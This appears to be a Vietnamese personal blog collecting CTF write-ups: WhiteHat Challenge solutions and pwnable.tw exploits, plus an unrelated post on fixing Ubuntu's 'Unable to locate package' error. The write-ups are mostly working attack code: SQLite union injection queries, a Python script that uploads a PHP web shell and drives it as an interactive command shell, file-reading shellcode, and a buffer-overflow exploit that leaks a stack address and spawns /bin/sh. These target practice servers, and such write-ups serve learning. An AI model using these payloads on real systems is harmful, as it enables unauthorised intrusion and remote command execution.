WhiteHat Challenge 1

Giải này khá là ez nên mình cũng không muốn chém gió nhiều.
1. Misc 01 (25)
– bypass backslash trong SQLite, thực ra cái SQLite này không có chức năng backslash (ý tưởng giống tower2 SVATTT 2016)

joker@Kiva:~$ nc 103.237.98.32 3737
< Inject me if you can >
         --------------------
         \   ^__^
          \  (oo)\_______
             (__)\       )\/\
                 ||----w |
                 ||     ||

input name to check pass, ex:linh, trang...:  
' union select sql from sqlite_master-- -
password:  (u'CREATE TABLE mbbg(name varchar(128),pwd varchar(128))',)
input name to check pass, ex:linh, trang...:  
' union select pwd from mbbg-- -
password:  (u'whatissqlite',)
input name to check pass, ex:linh, trang...:  

2. web 01 (15)
-Chỉ đơn giản là làm 1 con shell và post lên nhưng không dùng browser vì nó check front-end

import requests

folder_uploaded = "resources/"
path_upload = 'upload_controllers.php'
url = 'http://lab11.wargame.whitehat.vn/4d070da310a6b3bea7f538dd5d265cea/'
proxy = {"http":"http://127.0.0.1:8080"}
name_post = 'input-image'
shell_name = '5cv2rf73dtg2jlup5bo2nnc1q6_1488008497_c735bca142e9759b6f1b0b2401039f52.php'
mime_type = 'image/png'
malicious = '<?php system($_POST["a"])?>'


def pwn(folder_uploaded,path_upload,url,proxy,name_post,shell_name,mime_type,malicious,debug=False):
	payload = [(name_post, (shell_name,malicious,mime_type))]
	s = requests.Session()
	if debug == False:
		s.get(url)
		s.post(url+path_upload,files=payload,data={"submit":"Upload"})
	else:
		s.get(url,proxies=proxy)
		s.post(url+path_upload,files=payload, verify=False, proxies=proxy,data={"submit":"Upload"})		
	filename = url+folder_uploaded+shell_name

	while 1:
		cmd = raw_input("$ ")
		if cmd=="exit":
			break
		shell = s.post(filename,data={"a":cmd}).text
		print shell


pwn(folder_uploaded,path_upload,url,proxy,name_post,shell_name,mime_type,malicious)

1

2

ez 2 flag

Advertisements

“Unable to locate package” (lỗi định mệnh)

Vâng, cái lỗi (píp píp píp) này hành xác không chỉ mình mà còn rất nhiều người khác. Và nay mình đã biết cách khắc phục nó.
Bản chất là thiếu repository nên chỉ cần add cái repository là được.
Bước 1: Bật tất cả các repositories lên

sudo add-apt-repository main
sudo add-apt-repository universe
sudo add-apt-repository restricted
sudo add-apt-repository multiverse

Bước 2: Tìm repository bằng 1 trong các cách sau
vào http://packages.ubuntu.com/ và search
vào https://www.ubuntuupdates.org/ và search
vào https://launchpad.net/ubuntu/+ppas và search ( khuyến cáo vì hiệu quả nhất)
Bước 3: add repository

sudo add-apt-repository ppa:<repository-name>

Bước 4: update

sudo apt-get update

Bước 5: Cài nó

sudo apt-get install (cccc)

Shell xịn ( orw – pwnable.tw )

from pwn import *


shell_read = asm("xor    ecx,ecx;\
				mul    ecx;\
				mov    al,0x5;\
				push   ecx;\
				push   0x67616c66;\
				push   0x2f77726f;\
				push   0x2f656d6f;\
				push  0x682f2f2f;\
				mov    ebx,esp;\
				int    0x80;\
				xchg   ebx,eax;\
				xchg   ecx,eax;\
				mov    al,0x3;\
				xor    edx,edx;\
				mov    dx,0xfff;\
				inc    edx;\
				int    0x80;\
				xchg   edx,eax;\
				xor    eax,eax;\
				mov    al,0x4;\
				mov    bl,0x1;\
				int    0x80;\
				xchg   ebx,eax;\
				int    0x80")


conn = remote("chall.pwnable.tw",10001)

rec_1  = conn.recvuntil("Give my your shellcode:")
print rec_1

conn.sendline(shell_read)

Shell sịn ( start – pwnable.tw )

from pwn import *

#s = process("./start")
s = remote('chall.pwnable.tw',10000)

a_leak = p32(0x08048087) #0x08048087 <+39>:	mov    ecx,esp
#shell23byte = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
shell23byte = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

buf = 0

def leak(buf):

	chuoi = s.recvuntil(":")
	print chuoi
	a = raw_input("Press any key")
	payload1 = "a"*20+a_leak
	s.send(payload1)
	print "sent: ",payload1
	chuoi = s.recv(200)
	addr =  chuoi.replace("Let's start the CTF:","")[0:4]
	addr = u32(addr) + 20 + buf
	print "address shell: ",hex(addr)
	return addr

def pwn(addr):
	payload2 = '\x90'*20 + p32(addr) + "\x90"*12 +shell23byte
	a = raw_input("Press any key")
	s.sendline(payload2)
	print "sent: ",payload2

addr = leak(buf)
pause(2)
pwn(addr)
pause(2)
s.interactive()